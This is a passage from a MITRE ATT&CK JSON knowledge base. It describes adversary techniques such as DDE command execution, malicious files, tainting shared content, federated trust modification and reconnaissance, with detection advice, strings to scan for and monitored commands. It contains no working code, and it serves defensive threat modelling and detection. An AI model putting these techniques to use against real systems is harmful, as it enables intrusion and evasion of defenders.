            "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Office Suite",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "File: File Metadata",
                "Application Log: Application Log Content",
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Modification",
                "Firmware: Firmware Modification",
                "Service: Service Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Script: Script Execution",
                "User Account: User Account Creation",
                "Process: OS API Execution",
                "User Account: User Account Metadata",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
            "created": "2020-02-12T14:10:50.699Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1559/002",
                    "external_id": "T1559.002"
                },
                {
                    "source_name": "OWASP CSV Injection",
                    "description": " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022.",
                    "url": "https://owasp.org/www-community/attacks/CSV_Injection"
                },
                {
                    "source_name": "CSV Excel Macro Injection ",
                    "description": " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022.",
                    "url": "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/"
                },
                {
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
                },
                {
                    "source_name": "SensePost PS DDE May 2016",
                    "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
                    "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Kettle CSV DDE Aug 2014",
                    "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
                    "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"
                },
                {
                    "source_name": "Microsoft ADV170021 Dec 2017",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"
                },
                {
                    "source_name": "Microsoft DDE Advisory Nov 2017",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "url": "https://technet.microsoft.com/library/security/4053440"
                },
                {
                    "source_name": "Enigma Reviving DDE Jan 2018",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
                },
                {
                    "source_name": "NVisio Labs DDE Detection Oct 2017",
                    "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
                    "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
                },
                {
                    "source_name": "SensePost MacroLess DDE Oct 2017",
                    "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
                    "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:15.927Z",
            "name": "Dynamic Data Exchange",
            "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\n\nOLE, Office Open XML, CSV, and other files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Module: Module Load",
                "Script: Script Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "created": "2020-03-11T14:49:36.954Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1204/002",
                    "external_id": "T1204.002"
                },
                {
                    "source_name": "Password Protected Word Docs",
                    "description": "Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022.",
                    "url": "https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:13.883Z",
            "name": "Malicious File",
            "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "TruKno"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f",
            "created": "2020-10-02T16:34:32.435Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1591/003",
                    "external_id": "T1591.003"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:40:43.647Z",
            "name": "Identify Business Tempo",
            "description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
            "created": "2017-05-31T21:30:51.330Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1063",
                    "external_id": "T1063"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:16.682Z",
            "name": "Security Software Discovery",
            "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "2.2"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--241f9ea8-f6ae-4f38-92f5-cef5b7e539dd",
            "created": "2024-08-28T14:14:18.512Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1071/005",
                    "external_id": "T1071.005"
                },
                {
                    "source_name": "wailing crab sub/pub",
                    "description": "Hammond, Charlotte. Villadsen, Ole. Metrick, Kat.. (2023, November 21). Stealthy WailingCrab Malware misuses MQTT Messaging Protocol. Retrieved August 28, 2024.",
                    "url": "https://securityintelligence.com/x-force/wailingcrab-malware-misues-mqtt-messaging-protocol/"
                },
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:14.152Z",
            "name": "Publish/Subscribe Protocols",
            "description": "Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as <code>MQTT</code>, <code>XMPP</code>, <code>AMQP</code>, and <code>STOMP</code> use a publish/subscribe design, with message distribution managed by a centralized broker.(Citation: wailing crab sub/pub)(Citation: Mandiant APT1 Appendix) Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics.(Citation: wailing crab sub/pub) An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Domenico Mazzaferro Palmeri",
                "Sofia Sanchez Margolles"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Linux",
                "Windows",
                "Network Devices"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26",
            "created": "2020-10-02T16:40:47.488Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1592/001",
                    "external_id": "T1592.001"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:39:29.396Z",
            "name": "Hardware",
            "description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
            "created": "2017-05-31T21:31:01.759Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1080",
                    "external_id": "T1080"
                },
                {
                    "source_name": "Retwin Directory Share Pivot",
                    "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.",
                    "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:14.334Z",
            "name": "Taint Shared Content",
            "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Michal Dida, ESET",
                "David Routin"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "Linux",
                "macOS",
                "Office Suite"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Network Share: Network Share Access",
                "Process: Process Creation",
                "File: File Modification",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee",
            "created": "2020-12-28T21:59:02.181Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1484/002",
                    "external_id": "T1484.002"
                },
                {
                    "source_name": "AWS RE:Inforce Threat Detection 2024",
                    "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.",
                    "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
                },
                {
                    "source_name": "CISA SolarWinds Cloud Detection",
                    "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a"
                },
                {
                    "source_name": "AADInternals zure AD Federated Domain",
                    "description": "Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.",
                    "url": "https://o365blog.com/post/federation-vulnerability/"
                },
                {
                    "source_name": "Microsoft - Azure AD Federation",
                    "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed"
                },
                {
                    "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
                    "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.",
                    "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"
                },
                {
                    "source_name": "Microsoft - Update or Repair Federated domain",
                    "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.",
                    "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"
                },
                {
                    "source_name": "Okta Cross-Tenant Impersonation 2023",
                    "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.",
                    "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"
                },
                {
                    "source_name": "Sygnia Golden SAML",
                    "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
                    "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:14.422Z",
            "name": "Trust Modification",
            "description": "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Blake Strom, Microsoft 365 Defender",
                "Praetorian",
                "Obsidian Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: <code>Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\"</code>, or <code>Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain</code>.(Citation: Microsoft - Update or Repair Federated domain)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
